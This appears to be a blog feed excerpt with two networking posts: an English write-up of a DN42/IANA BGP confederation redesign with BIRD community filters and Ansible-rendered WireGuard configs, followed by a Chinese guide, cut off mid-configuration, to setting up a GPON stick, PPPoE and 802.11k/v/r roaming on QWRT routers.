graph 
    subgraph 4242423377 Infrastructure
        3377_DN42_PoP[DN42 PoP]
        3377_IANA_PoP[IANA PoP]
    end
    subgraph 4242422024 Infrastructure
        2024_DN42_PoP[DN42 PoP]
        2024_IANA_PoP[IANA PoP]
    end
    3377_IANA_PoP <==Cross-Infra Confederation==> 2024_IANA_PoP
    3377_DN42_PoP <--> DN42 <--> 2024_DN42_PoP
    3377_IANA_PoP <--> IANA <--> 2024_IANA_PoP

Our DN42 PoPs and transit are isolated, but the IANA PoPs and transit are interconnected. In the BGP Confederation scenario, we can use filters + BGP (Large) Community to isolate route origins while still exchanging IANA traffic engineering intents, achieving a single standard usable across both infrastructures.

Overlay and IPAM

In the old design, a node often simultaneously held two identities:

It was a router in the network;
It was also a service address holder reachable within DN42 / IANA.

After the refactoring, I decided to separate these two identities:

Underlay: the node's identity as a router, used for internal interconnection, next-hop, tunnels, and forwarding;
Overlay: the DN42 / IANA address used when the node provides services to the outside world or accepts traffic.

This way, a node can only participate in forwarding without having a DN42 IPv4 address; it can also temporarily announce a certain overlay /32 or /128 when needed.

In practical application scenarios, my DN42 address space is not very abundant; I originally registered a /28, with only 16 usable addresses. Some nodes, like IEPL tunnel nodes or IX nodes, only perform forwarding roles, do not need to host services, and do not need to be connected from the outside. Therefore, theoretically they do not need to be assigned independent, reachable DN42/IANA addresses.

Moreover, since we had already decided to switch the internal network to BGP Confederation, based on this configuration we could re-plan the originally horizontally split DN42 + IANA network structure into a vertical Underlay + Overlay division. DN42 and IANA addresses/traffic become the payload of the upper-layer Overlay Network, while the lower-layer Underlay Network serves as the infrastructure for underlying communication and forwarding between nodes. In this scenario, IP addresses become resources that can be easily scheduled within the internal network, rather than unique IDs bound to a node.

The advantages are clear:

Saves scarce address resources: transit nodes can have only an underlay identity, without needing DN42 IPv4 or public addresses;
Anycast and address migration: Overlay addresses become resources schedulable via BGP, no longer tightly bound to a specific machine;
Hides transit nodes: pure transit nodes do not need to expose globally reachable addresses, making it harder for outsiders to directly probe the internal topology;
Easy new node onboarding: new nodes join the underlay first, and overlay addresses are assigned when they need to carry services;
Elegant transit delivery: IANA PoPs can deliver customer prefixes or service addresses to other nodes via the internal confederation.

Design

In summary, the final design consisted of the following IPAM mechanism and automation workflow.

Each node possesses some basic metadata:

Tier: indicates the node's purpose, e.g., backbone, IX access, or intra-net node
Region: the continent region where the node is located
ID: the node's ID within that region
Token: a random 16-bit string assigned to the node, used as a unique ID for the node under IPv6

For Tier and Region, several tables were created as data sources:

Tier	Desc
1	Backbone
2	IX
3	Backbone + IX Mixed
9	Node

Region	Desc
0	Reserved
1	Asia
2	Europe
3	Africa
4	North America
5	South America
6	Oceania
7	Antarctica

Confederation AS: 4220240000 – 4220249999

Assignment rule:

422024{tier}{region}{node_id:02d}

Where tier indicates the node's purpose, region indicates the area where the node is located, and the last two digits node_id distinguish different nodes within the same region.

Underlay IPAM

IPv4 Prefix: 100.64.0.0/16
Assignment rule:

100.64.{tier*10 + region}.{node_id}/32

IPv6 Prefix: fd18:3e15:61d0:ffff::/64
Assignment rule:

fd18:3e15:61d0:ffff:{tier}:{region}::{node_token}/128

To simplify the automation workflow, I also intended to bring the link-local addresses between WireGuard tunnels under automated management, generating them using the aforementioned Tier, Region, and Token, with the automation scripts generating WireGuard configuration and automatically setting up the tunnel and confederation BGP session.
The link-local assignment rule generally follows the normal IPv6 rule:

fe80::2024:{tier}:{region}:{node_token}/64

Thus, each node only needs to be assigned its metadata to automatically generate the internal network confederation AS and addresses according to the rules above.

Overlay IPAM

The DN42 IPv4 part is assigned manually. This part has some historical legacy architecture, and changes need to be merged into the official registry, so I plan to assign it manually.
The Underlay IPv6 is itself DN42-reachable; if other DN42 IPv6 addresses need to be allocated, they can simply be advertised on demand.

For IANA IPv6, the current design format is to first calculate the continent /43 according to the initially proposed rule, e.g., for Asia:

2a14:7583:f220::/43

Then calculate the /46 based on the region, e.g., for Hong Kong region HKG:

2a14:7583:f224::/46

Next, bits from /46 to /112 are set to zero, and the last 16 bits are filled with the node Token to serve as the node's IANA IPv6 address. For example, one of my backbone nodes in Hong Kong:

2a14:7583:f224::7d89/128

Community Isolation Mechanism

In this architecture, BGP Large Community effectively acts as the metadata and control information carried along with a route as it propagates between different modules and infrastructures. Based on this metadata, when we export routes to different external peers we can determine:

Does it belong to DN42 or IANA?
Is it locally originated, brought in by a downstream, learned from a peer, or learned from an upstream?
Can it be exported to other ASes?
Is it underlay-only?
Does this route need AS prepending?

As a concrete example, if the first identifier marks the route origin/destination as DN42 or IANA, all routes permitted to be sent to DN42 will be tagged with:

(4242422024, 1, 1)

Similarly, all routes destined for IANA will be tagged with:

(205369, 1, 1)

Within various protocols, this acts as a master switch, controlling whether export should occur. IANA upstream export filter:

template bgp iana_upstream_v6 {
	...
	
    ipv6 {
		...
        import filter {
            if !iana_filter_default_check() then reject;  # basic check
            remove_confederation_as();                    # remove confederation as to prevent external peers from maliciously carrying internal as
            remove_private_community();                   # remove private community to prevent external peers from maliciously manipulating internal routes
            iana_upstream_add_community();                # tag all routes from IANA with community permitting broadcast in IANA infrastructure
            accept;
        };
        export filter {
            if !iana_filter_default_check() then reject;     # basic check
            if !iana_upstream_check_community() then reject; # check community: is this a route destined for IANA / does it carry no-advertise/no-export etc.
            remove_confederation_as();                       # remove confederation as
            remove_private_community();                      # remove private community
            accept;
        };
		...
    };
	...
}

Where iana_filter_default_check() is used to check prefix length, ROA, whether it is a default route, and other miscellaneous content:

function iana_filter_default_check(){
    if net ~ [::/0] then return false;
    if net.len > 48 then return false;
    if bgp_large_community ~ [(IANA_OWNAS,1,1)] && is_self_iana_v6() then return true;
    if roa_check(iana_roa_v6, net, bgp_path.last) = ROA_INVALID then return false;
    return true;
}

remove_confederation_as(), as the name suggests, removes internal confederation ASes:

function remove_confederation_as() {
    bgp_path.delete([4220240000..4220249999]); # 4242422024 Infrastructure
    bgp_path.delete([4233770000..4233779999]); # 4242423377 Infrastructure
}

remove_private_community(), as the name suggests, removes internal Communities. The current implementation is very rough and needs detailed refinement later, because some Communities should be open to downstreams, allowing them to use Communities to convey routing intents and perform optimizations, such as prepending AS path, which can be used for route tuning or traffic engineering:

function remove_private_community(){
    bgp_large_community.delete([(4242422024, *, *)]);
    bgp_large_community.delete([(205369, *, *)]);
}

iana_upstream_add_community(), tags all routes from upstream with the Community allowing circulation in the IANA infrastructure, as well as a route source identifier:

function iana_upstream_add_community(){
    bgp_large_community.add((205369,1,1));
    bgp_large_community.add((205369,2,102));
}

Where (205369,2,102) identifies the route as coming from an upstream. Route sources are divided into three types: Upstream, Peer, Downstream/Customer/Self (treated as customer). For these three different types of BGP sessions, the exported routes usually differ:

To upstream: we need the upstream to advertise our own prefixes and our downstreams' prefixes, so all routes originating from downstream should be exported to upstream.
To downstream: we need to provide network services, so we need to export all routes we know, i.e., routes from upstream, peer, downstream.
To peer: peering connections are solely for both parties to access each other's networks, so we must not export each other's upstreams or peers, otherwise it becomes free transit/tunneling. Therefore, only routes from downstream are exported. Correspondingly in the current internal network, routes from peers are tagged (205369,2,101), and routes from downstreams are tagged (205369,2,100).

iana_upstream_check_community() checks the route's Community, and based on the principles above, judges whether it should be advertised to upstream:

function iana_upstream_check_community(){
    if !(bgp_large_community ~ [(205369,1,1)]) then return false;      # not permitted for broadcast in IANA infrastructure, reject
    if bgp_large_community ~ [(205369,65535,65282)] then return false; # no-advertise
    if bgp_large_community ~ [(205369,65535,65281)] then return false; # no-export
    if bgp_community ~ [(65535,65281)] then reject;                    # no-advertise
    if bgp_community ~ [(65535,65282)] then reject;                    # no-export

    if bgp_large_community ~ [(205369,2,0)] then return false;         # from internal network, this community is used to identify routes from the internal network that should not be advertised externally, reject here
    if bgp_large_community ~ [(205369,2,101)] then return false;       # from peer, reject advertisement
    if bgp_large_community ~ [(205369,2,102)] then return false;       # from upstream, reject advertisement

    return true;
}

Similarly, a similar check mechanism applies to DN42. Based on this mechanism, isolating the DN42 and IANA networks becomes very straightforward.

The above is just a general explanation; finer community design and various export policies could be further elaborated, but that would turn into another article on routing policy details.

This part actually draws heavily from たのしい’s BGP Communities; after all, both infrastructures need to interoperate, and many community specifications are basically copied. Thanks to たのしい for providing the ideas~

Route Lifecycle

Phase 1: Ingress / Import

When all external routes enter the system, they first pass through the import filter of the corresponding domain. IANA has three types of sources:

upstream;
peer / IX;
downstream.

DN42 also has two main types of sources:

regular transit / eBGP peer;
IX / route server.

In addition, the local machine also originates some routes:

underlay loopback;
DN42 overlay address;
IANA own / anycast address.

These routes are tagged with Large Communities upon entering the confederation. All subsequent filters must be adjusted based on this.

Phase 2: Core / Intra Confederation

After entering the BIRD RIB, routes propagate between nodes via the internal Intra BGP Confederation. Here, Intra Confederation is not just about handling connectivity, but more importantly, allowing internal routes to carry policy information as well.

The previous OSPF was great at solving:

Where is this loopback?
How to reach this next-hop?

But it could not convey AS information and policy intents, for example:

This route was learned from an IANA peer and must not be exported to another peer;
This route is DN42 underlay-only and must never be leaked to eBGP;
This route is a downstream customer prefix and can be exported to upstream.

All of these are strengths of BGP policy. So moving the internal backbone from OSPF / full-mesh iBGP to confederation-style BGP is essentially upgrading the internal control plane to a "policy-carryable control plane".

Phase 3: Egress / Export

When a route is about to leave the infrastructure, it passes through the export filter again. Here, based on communities, systemic prevention of route leaks and macro-control like AS prepending can be performed.

For example:

DN42 underlay routes carry an underlay-only community and thus are not exported to DN42 eBGP;
Routes learned from an IANA upstream are not exported to another upstream;
Routes learned from an IANA peer are not exported to another peer;
Routes learned from a DN42 IX are not exported back to IX;
NO_EXPORT / NO_ADVERTISE are respected;
Before external export, internal confederation ASes and private communities are removed.

In summary, it can be illustrated by this diagram:

flowchart LR
    classDef ext fill:#eef7ff,stroke:#5b8def,stroke-width:1px;
    classDef local fill:#f5f5f5,stroke:#888,stroke-width:1px;
    classDef filter fill:#fff3d6,stroke:#d19a00,stroke-width:1px;
    classDef core fill:#eaf8ea,stroke:#3c9b43,stroke-width:1px;
    classDef export fill:#fdecec,stroke:#d45a5a,stroke-width:1px;

    subgraph SRC["Route Source"]
        direction TB
        IU["IANA upstream<br/>transit / full routes"]
        IP["IANA peer / IX"]
        ID["IANA downstream<br/>customer prefixes"]
        DT["DN42 transit / eBGP peer"]
        DX["DN42 IX / route server"]
        LU["Local underlay loopback<br/>100.64.x.y / fd18:...:ffff"]
        LO["Local overlay address<br/>DN42 own / IANA own / anycast"]
    end

    subgraph INFRA["Bird2-Configuration Infrastructure"]
        direction LR

        subgraph IMPORT["Ingress / Import filters"]
            direction TB
            IUF["IANA upstream import<br/>tag: 205369:1:1<br/>tag: 205369:2:102"]
            IPF["IANA peer import<br/>tag: 205369:1:1<br/>tag: 205369:2:101"]
            IDF["IANA downstream import<br/>AS-SET / path check<br/>tag: 205369:2:100"]
            DTF["DN42 eBGP import<br/>prefix / ROA / self check<br/>tag: 4242422024:2:101/102"]
            DXF["DN42 IX import<br/>prefix / ROA check<br/>tag: 4242422024:2:101"]
            STF["Static origin<br/>underlay / overlay route tags"]
        end

        META["Large Community metadata layer<br/>domain + source + scope<br/>internal route API"]

        subgraph CORE["Internal control plane"]
            direction TB
            RIB["BIRD RIB"]
            CONFED["Intra BGP Confederation<br/>member AS: 422024xxxx<br/>policy: full / default / iana_full / no_iana"]
            WG["WireGuard underlay transport<br/>link-local next-hop<br/>fwmark policy routing"]
            UNDERLAY["net_underlay<br/>loopback + table 1142"]
            OVERLAY["net_overlay<br/>DN42 / IANA service addresses"]
        end

        subgraph EGRESS["Egress / Export filters"]
            direction TB
            DEXP["DN42 eBGP export<br/>reject underlay-only<br/>respect no-export/no-advertise"]
            DXEXP["DN42 IX export<br/>reject peer/transit learned routes"]
            IEXP["IANA upstream / peer export<br/>export local/downstream only<br/>reject peer/upstream learned"]
            DOWNEXP["IANA downstream export<br/>policy: default / own_only / reject"]
            KEXP["Kernel export<br/>krt_prefsrc by community"]
            CLEAN["cleanup before external export<br/>remove confed AS<br/>remove private communities"]
        end
    end

    subgraph DST["Route Destination"]
        direction TB
        OD["DN42 peers / transit"]
        OX["DN42 IX"]
        OI["IANA upstream / peer"]
        OC["IANA downstream"]
        KF["Linux kernel FIB<br/>actual packet forwarding"]
    end

    IU --> IUF
    IP --> IPF
    ID --> IDF
    DT --> DTF
    DX --> DXF
    LU --> STF
    LO --> STF

    IUF --> META
    IPF --> META
    IDF --> META
    DTF --> META
    DXF --> META
    STF --> META

    META --> RIB
    RIB <--> CONFED
    CONFED --- WG
    WG --- UNDERLAY
    RIB --- OVERLAY

    RIB --> DEXP
    RIB --> DXEXP
    RIB --> IEXP
    RIB --> DOWNEXP
    RIB --> KEXP

    DEXP --> CLEAN --> OD
    DXEXP --> CLEAN --> OX
    IEXP --> CLEAN --> OI
    DOWNEXP --> CLEAN --> OC
    KEXP --> KF

    class IU,IP,ID,DT,DX ext;
    class LU,LO local;
    class IUF,IPF,IDF,DTF,DXF,STF filter;
    class META,RIB,CONFED,WG,UNDERLAY,OVERLAY core;
    class DEXP,DXEXP,IEXP,DOWNEXP,KEXP,CLEAN export;
    class OD,OX,OI,OC,KF ext;

Automation: Compiling Network Intent into Configuration

All the above discussion on IPAM, Confederation AS, Underlay/Overlay, and BGP Communities would not truly solve the problem if it still ended up being maintained by hand-written configurations; it would just move the complexity from one form to another. Before this refactoring, adding a new node or peer often required simultaneous changes in many places:

WireGuard configuration: interface name, listen port, peer public key, endpoint, allowed IPs
BIRD configuration: BGP protocol name, neighbor address, neighbor interface, ASN, import/export filter
IPAM-related configuration: loopback, link-local, router id, overlay address
Deployment-related configuration: which nodes need rendering, which services need restarting
Some special cases: nodes behind NAT, passive peers, special local AS, special filters

Logically, these things describe the same thing: a connection belonging to a certain routing domain exists between two nodes.
But in manual configuration, they end up scattered across WireGuard, BIRD, network interfaces, systemd/openrc, and other places. If just one field is missed or inconsistent, very strange problems can occur, such as WireGuard being up but BIRD neighbor pointing to the wrong interface; or the link-local being changed, but the peer session still having the old address.

So in this refactoring, I didn't want Ansible to just be a tool that "fills YAML into Jinja2 templates". If we simply moved the original hand-written config into templates, we would essentially still be maintaining a pile of low-level configurations, just in a different file format. Since automation was introduced, the input should not be "I want to generate a configuration file that looks like this", but rather:

Who is this node?
Which tier / region does it belong to?
Who does it interconnect with?
Does this connection belong to DN42, IANA or Intra?
What import/export policy should this connection use?
Does it have special constraints like NAT, passive, endpoint override?

As for the specific WireGuard interface wording, how the BIRD session is written, what the link-local address is – all these should, as much as possible, be generated by the automation system based on rules.

Source of Truth: Node State, Not Config Files

The input for this automation is mainly placed in Ansible's host_vars. The variables for each node are no longer just parameters needed for template rendering, but the description of the node's identity in the network. For example, a node will have at least:

tier: node tier, e.g., backbone, IX, normal node
region: region where the node is located
node_id: node number within the same region
node_token: a stable 16-bit token used to generate the IPv6 address suffix

These fields are used for IPAM address management and identification information within the Confederation (as mentioned earlier, AS calculation and IP address derivation). The advantage of this approach is that when a new node joins, we just need to configure its basic metadata, and all its fundamental identities within the underlay are already determined. This significantly reduces subsequent maintenance effort. If link-local addresses were handwritten in every BIRD session, then any change to a node's token or address rule would require changes on all peers; but if the BIRD neighbor address is automatically derived from the peer node's metadata, it always stays consistent with the source of truth.

Domain Intent: Declarative Peer Configuration

The most important abstraction in this automation is Domain Intent, which treats the Session and its corresponding WireGuard tunnel binding as a single entity, then partitions them by the network type (DN42/IANA/Intra). Taking an Intra peer as an example, an internal connection fundamentally requires two types of configuration simultaneously:

WireGuard interface, to provide the transport tunnel
BIRD BGP session, to exchange routes over this tunnel

If maintained manually, these two parts easily duplicate the same information:

interface name
peer node
listen port
endpoint
neighbor interface
BGP protocol name
import/export policy

So we abstract a regular Intra peer into a single peer intent. Simplified, it looks something like this:

- node: tyo03-jp
  interface: intra_tyo03
  wireguard:
    listen_port: 10234
    passive: true
  bgp:
    protocol: intra_ibgp_tyo03
    ipv4:
      import_policy: full
      export_policy: full
    ipv6:
      import_policy: full
      export_policy: full

This declaration does not directly correspond to a single configuration file, but describes the peer intent:

There is an internal connection named intra_tyo03 between the current node and tyo03-jp. This connection uses WireGuard for transport, and establishes an Intra BGP session over it, with BGP policy using full.

Afterwards, Ansible automatically renders the corresponding WireGuard and BIRD configuration based on this.

Thus, a peer relationship only needs to be described once, and the subsequent low-level configuration is generated automatically. For example, the BIRD neighbor's link-local address does not need to be handwritten; it can be automatically obtained from the peer node's tier / region / node_token. The WireGuard endpoint can also be automatically derived from the peer's ansible_host in the inventory and the peer's return peer listen_port.

The biggest advantage of this is avoiding state inconsistency between multiple configuration layers.

Automatic Endpoint Derivation and Passive Peers

In my internal network architecture, not all nodes have perfectly symmetric public reachability. For example, some nodes / DN42 peers are behind NAT and can only initiate connections; some tunnels require a fixed endpoint as the listener, with the other end initiating. Therefore, the peer intent must support special cases like passive listening. If a peer is not passive, the automation can attempt to read ansible_host from the peer's inventory, combine it with the listen_port declared by the peer, and automatically generate the WireGuard endpoint:

endpoint = peer_ansible_host + ":" + peer_return_listen_port

If the peer is marked as passive, no endpoint is rendered, allowing the peer to actively initiate the connection.

Essentially, the endpoint is determined by "how the peer is accessed" and "which port the peer listens on". These two pieces of information already exist in the inventory and peer intent, so there's no need to duplicate them. Of course, for extremely unusual links, the most basic manual override for the endpoint is retained. The goal of automation is not to eliminate all edge cases, but to make the normal cases require no special handling.

Generic Scenarios & Exceptions

This is essentially a fallback mechanism for special cases:

Legacy tunnels
Special internal peers carried over DN42
Nodes behind NAT
Temporary workarounds
Peers requiring strange BGP parameters
Certain sessions needing special local AS
Some routes only intended for the IANA domain, not the DN42 domain

The final design kept: most regular Intra peers can generate WireGuard + BIRD via domain intent. DN42 peer WireGuard can also be generated from DN42 peer intents. However, some special BIRD sessions, such as those requiring separate local_as or special export policies, can still be explicitly declared using low-level configuration. Before final rendering, Ansible merges the generated configuration and legacy/manual overrides into the final configuration.

The benefit is that automation covers 90% of the repetitive and error-prone parts, while still leaving room for the remaining 10% of special cases.

Configuration Rendering

The entire rendering process can be roughly understood as:

flowchart TD
    A[host_vars: node metadata + domain intent] --> B[materialize domain intent]

    B --> C[effective_wireguard_interfaces]
    B --> D[effective_intra_ibgp_sessions]

    C --> E[render wg-quick configs]
    D --> F[render BIRD intra sessions]

    A --> G[render BIRD root / DN42 / IANA modules]
    A --> H[render underlay / overlay interfaces]

    E --> I[.rendered-wireguard]
    F --> J[.rendered]
    G --> J
    H --> K[.rendered-network]

There are three types of final artifacts:

.rendered/: BIRD configuration
.rendered-wireguard/: WireGuard configuration
.rendered-network/: underlay / overlay dummy interface configuration

The BIRD configuration is further divided into several modules, written via Jinja2 templates; the actual overlay network separation is also handled here:

root config: global defines, includes, kernel protocol
DN42 module: DN42 filters, RPKI, eBGP peers, IX peers
IANA module: upstream, downstream, peers, RPKI, static routes
Intra module: confederation-style BGP sessions, static routes, internal filters

Whether these modules are included is also decided automatically based on data as much as possible. For instance, if a node has no DN42 peers, there's no need to render and include ebgp.conf; no IX sessions, no need to include ix.conf. This reduces empty configurations and meaningless includes, and avoids some nodes failing template rendering due to missing related variables.

Validation & Deployment

The final deployment process also added some check and validation stages:

render BIRD
validate BIRD
render WireGuard
validate WireGuard
deploy dummy interfaces
deploy WireGuard
deploy BIRD

BIRD configuration is rendered and validated locally first to catch syntax errors as early as possible. WireGuard configuration is also rendered and validated first to avoid missing keys or generating obviously invalid wg-quick configs. Finally, after all validations pass, the underlying interfaces + WireGuard are deployed, and only then is BIRD uploaded and reloaded.

Conclusion

I'm exhausted; this article has drained me. Why is narrating this architecture in linear language so difficult?

After sorting things out, most of the code was basically written by AI, and the results were decent. If you need a reference, see bird2-config/ansible at dev · iYoRoy-Network/bird2-config.

The applicable scenarios for this solution are actually quite narrow; the DN42 + IANA BGP Player scene is really too niche xD. Moreover, a major reason this solution can function properly is that the IANA prefixes and DN42, along with the address ranges chosen for my own internal network, do not conflict at all. If there were address conflicts in the transit segments, one would probably still need to consider proper ISP isolation solutions like VRF/MPLS L3VPN.

References:

家庭网络更新 - 猫棒 + 802.11k/v/r 漫游

Sat, 11 Jul 2026 00:37:00 GMT

文章开头部分会解释一下配置猫棒和 BE10000 PPPoE 的流程, 如果您只需要查阅 802.11k/v/r 相关的内容, 可跳转至「配置 802.11 k/v/r」章节

起因是五一的时候在哈尔滨本地自提了一台 Xiaomi BE10000, 因为想玩玩猫棒, 看看能不能将家里的千兆网突破 1 Gbps (cc: 浙江移动烽火光猫获取超密 + G-010S-A 猫棒上网 – 米露小窝). 而且因为我在用 EasyTier 这样的组网工具, 并且需要 WakeOnLan 这样的功能, 再加上家里已有的 Xiaomi AX3600 刷了 ImmortalWRT, 所以综合考虑我还希望能刷 WRT 系列系统, 然后也许能够利用 802.11 k/v/r 来实现自动切换, 达到手动 Mesh 的效果. 找来找去发现好像只有 BE10000 满足我的需求, 既有 SFP+ 笼, 又可以刷入 QWRT. 暑假带回家了, 是时候折腾一下了()

而且在学校的时候也已经把唯一美中不足的 NFC 碰一碰自动连接修好了 (ref: 为小米BE10000路由器的QWRT适配NFC功能 - 悠笙の开发日记 ), 这台机器已经是完全体啦(点头)

专业名词解释

1. 宽带与光通信 (Fiber & PON)

缩写	全称	中文解释 / 备注
FTTH	Fiber To The Home	光纤到户.
PON	Passive Optical Network	无源光网络. 家庭宽带接入的主流技术.
GPON	Gigabit-Capable PON	千兆无源光网络. 我们使用的猫棒 (GPON Stick) 即基于此标准.
OLT	Optical Line Terminal	光线路终端. 运营商局端设备, 负责向下分配光信号.
ONU	Optical Network Unit	光网络单元. 用户端设备, 如光猫或猫棒.
UPC	Ultra Physical Contact	超微球面研磨. 常见的光纤接头类型（通常为蓝色端面）.
APC	Angled Physical Contact	斜面物理接触. 常见的光纤接头类型（通常为绿色端面, 带8度斜角）.
LOID	Logical ONU ID	逻辑光网络单元标识符. 运营商用于认证光猫身份的一串字符.
PLOAM	Physical Layer OAM	物理层操作、管理和维护. 也是一种光猫认证用的密码体制.
SN	Serial Number	序列号. 硬件设备的唯一出厂编号, 常用于光猫注册.

2. 无线局域网与漫游 (Wi-Fi & Roaming)

缩写	全称	中文解释 / 备注
AP	Access Point	无线接入点. 主路由或从路由发射 Wi-Fi 信号的角色.
SSID	Service Set Identifier	服务集标识符. 即用户看到的 Wi-Fi 名称.
BSS	Basic Service Set	基础服务集. 单个 AP 及其覆盖下连接设备的集合.
BSSID	Basic Service Set Identifier	基础服务集标识符. 通常是 AP 无线网卡的 MAC 地址.
ESS	Extended Service Set	扩展服务集. 多个 BSS 组成的统一网络（同 SSID）, 即漫游环境.
RRM	Radio Resource Management	无线电资源管理 (802.11k). 用于获取周围的 AP 邻居报告.
WNM	Wireless Network Management	无线网络管理 (802.11v). 允许 AP 给客户端发送漫游引导建议.
FT	Fast Transition	快速漫游转换 (802.11r). 减少客户端切换 AP 时的握手和认证时间.
DS	Distribution System	分布式系统. 有线网络主干, `ft_over_ds` 即通过有线主干交换漫游信息.
NAS ID	Network Access Server ID	网络接入服务器标识符. 用于在漫游域中唯一标识某个 BSS 节点.
SAE	Simultaneous Authentication of Equals	对等同时认证. WPA3 的密钥交换协议, 比 WPA2 更安全.
PSK	Pre-Shared Key	预共享密钥. 家庭 Wi-Fi 最常用的输入密码认证方式.

3. 网络协议与系统设置 (Network & System)

缩写	全称	中文解释 / 备注
PPPoE	Point-to-Point Protocol over Ethernet	以太网上的点对点协议. 即我们常用的宽带拨号协议.
VLAN / PVID	Virtual Local Area Network / Port VLAN ID	虚拟局域网 / 端口默认 VLAN ID. 用于隔离网络流量, 光猫拨号必需.
SFP+	Enhanced Small Form-factor Pluggable	增强型小型可插拔光模块接口. 支持最高 10 Gbps 的传输速率.
UCI	Unified Configuration Interface	统一配置接口. OpenWrt/QWRT 的底层命令行配置系统.
LuCI	Lua Configuration Interface	OpenWrt/QWRT 的 Web 图形化配置界面.
DHCP	Dynamic Host Configuration Protocol	动态主机配置协议. 用于自动给局域网内的设备分配 IP.
L2	Layer 2	数据链路层. 文中的“L2 网段”指同一广播域下的局域网.

准备材料

Xiaomi BE10000 Router
Xiaomi AX3600 Router
G-010S-A NOKIA 猫棒
- 散热片
- SC/APC 转 SC/UPC 光纤
- SC/UPC 光纤适配器
刷机资料 (这部分...自己找吧, 搬运别人的资料不太好. 可以参考下面刷机教程中的固件.)

关于那根 SC/APC 转 SC/UPC 光纤, 它们描述的是光纤接头的规格. 正常的家庭 FTTH 一般用的是 UPC, 是蓝色的接头, 而我们买的猫棒基本上都是 APC 的接头, 是绿色的. 它们的主要差别是末端接头的形状, UPC 的末端是向外微微凸起的, APC 的末端是斜着的切面. 如果运营商 OLT 下行光功率足够强的话直接用 UPC 接入猫棒也是能用的, 但是会有大概 3dB 左右的光衰. 因此, 我还是决定稳一点.
图片来源: 光纤连接器 PC、UPC 、APC主要区别 - 知乎

猫棒是出了名的发热量大, 所以记得贴散热片:

贴完之后我在光猫后台看到的温度大概是 60 ℃ 左右.

给 BE10000 刷机

固件有一些已知的 bug, 比如前端配置的 WiFi 信息无法被正常写入, 会导致整个网络部分无法启动, 随后失联, 最终触发自动 Fallback. 所以下面的一些修改主路由的操作是利用 UCI 指令实现的.

获取运营商 ONU 配置

这一步没有通用教程...上闲鱼或者淘宝买个超密, 记录下 LOID, SN, LOID CheckCode(Password), PLOAM Password, 还有 Internet 部分配置的 VLAN ID. 有的地区可能还需要记录下上行的 Mac 地址.

LOID和LOID CheckCode:

PLOAM Password:

VLAN ID:

一般而言, 运营商会选择用LOID, 配合上可能的 LOID CheckCode(Password), 或者可能使用 PLOAM Password. 请根据你的情况自行判断.

我这边是安徽联通, 只记录了 SN, VLAN ID, LOID 就可以正常工作了. (因为联通的那个猫登不进去所以拿了个移动的猫来截图xD)
有的时候不一定需要超密才能获得这些信息, 某些猫 (比如黑龙江联通, 创维的光猫) 的普通用户就能拿到上述信息.

同时, 记录下 PPPoE 登录用户名和密码:

一般而言, 用户名是公开的, 有些猫的密码经过 F12 大法去除 password 属性也会直接显示, 但是有的猫会回传一些无意义占位符, 这个时候可以打电话给运营商重置密码.

配置 GPON Stick (猫棒)

将 GPON Stick 接入 SFP+ 接口, 如果网口灯一直没有亮起来的话可以尝试在 QWRT -> 网络 -> ECM硬件加速设置 里将 SFP1 和 SFP2 接口的速率设置强制改为 Force 2.5Gbps. (我不能确定哪个对应当前SFP接口, 所以两个都改了), 随后保存并应用, 也许需要重启路由器.

默认的 br-lan IP Prefix 应该是 192.168.1.0/24, 此时保持不变, 访问 192.168.1.10 即可打开光猫的控制台:

找到 GPON ONU 设置, 填入我们刚刚记录的信息: LOID 和 SN

并且启用 VLAN 配置: 勾选互操作兼容模式, 并在 PVID 中填写 VLAN ID.

保存后可能需要重启猫棒. 然后进入状态页, 如果看到 PON认证状态/PON信号状态为 O5, 则说明猫棒已经完成注册并且正常工作了.

配置拨号上网

BE10000 上默认 WAN 口为 eth4, 而 SFP 端口为 eth5, 因此需要将 WAN 口从 eth4 切换成 eth5. 进入 网络 -> 接口 -> 设备, 找到 br-lan 并将 eth4 加入, 将 eth5 移除; 再进入 接口 页面, 将 WAN 网卡改为 eth5, 并填入刚刚的 PPPoE 账号密码:

保存之后应该能看到 PPPoE 已经成功拨号并且能够正常上网了: (我将整个 br-lan 的网段改成了192.168.3.0/24, 这一步不是必须的)

修改 WiFi 基本信息

实测发现...主路由通过 LuCI 直接修改 WiFi 信息会修改不进去(上文已经提到了), 因此在 SSH 通过 UCI 修改信息:

uci set wireless.ath0.ssid='[CENSORED]'
uci set wireless.ath0.encryption='psk2+ccmp'
uci set wireless.ath0.key='[CENSORED]'

uci set wireless.ath1.ssid='[CENSORED]'
uci set wireless.ath1.encryption='psk2+ccmp'
uci set wireless.ath1.key='[CENSORED]'

uci commit wireless
wifi reload

此处 SSID 为 WiFi 名称, encryption 的值 psk2+ccmp 表示 WPA2-PSK/AES，也就是常见的 WPA2-AES 配置。

虽然 WPA3/SAE 更安全，但在多 AP + 802.11r 漫游场景下，WPA2-PSK + FT-PSK 的兼容性通常更好。部分手机或 IoT 设备在 WPA2/WPA3 Mixed、FT-SAE、PMF 等组合下可能会出现连接失败、漫游失败或切换变慢的问题。

如果需要追求最高兼容性，建议用于全屋漫游的主 SSID 先使用 WPA2-PSK/AES，并确保主路由和从路由的加密方式保持一致。

对于从路由, 因为要配置漫游, 需要保证两个 WiFi 接入的是同一个 L2 网段, 因此需要关闭从路由的 DHCP, 并且将从路由配置为主路由下的一个设备. 因此对于从路由, 做的配置如下:

将网络 -> 接口 -> 接口下的其他所有设备删除, 仅保留 br-lan:
在网络 -> 接口 -> 设备下的 br-lan 设备中添加 wan 网口:
给网络 -> 接口 -> 设备下的 br-lan 添加 IP 地址:

IPv4 地址一定记得填掩码, IPv4 网关填写主路由的 IP.

在网络 -> 防火墙 -> 常规设置下, 放行对应的防火墙规则. (btw. 我因为懒得配置详细的规则再加上内网设备应该也不会有太大风险因此全部放行了, 如果有特殊需求的话请不要参考xD)

因为此时主路由和从路由处在同一个 L2 广播域内，局域网中应该只保留一个 DHCP Server，也就是主路由。如果从路由 DHCP 没有关闭，客户端在连接或漫游时可能会同时收到来自主路由和从路由的 DHCP 响应，导致获取到错误的网关 / DNS，或者出现 DHCPNAK wrong server-ID 之类的问题。

这种问题的表现可能是：

Wi-Fi 已经切换到另一个 AP，但网络恢复很慢；
漫游后短暂断网；
客户端重新获取 IP；
网关 / DNS 偶发异常；
看起来像是 802.11r 没有生效，但实际是 DHCP 层面在打架。

在从路由 SSH 中执行：

uci set dhcp.lan.ignore='1'
uci commit dhcp
/etc/init.d/dnsmasq restart

如果从路由还启用了 IPv6 RA / DHCPv6，而我们希望完全由主路由负责 IPv6，也可以一并关闭：

uci set dhcp.lan.ra='disabled'
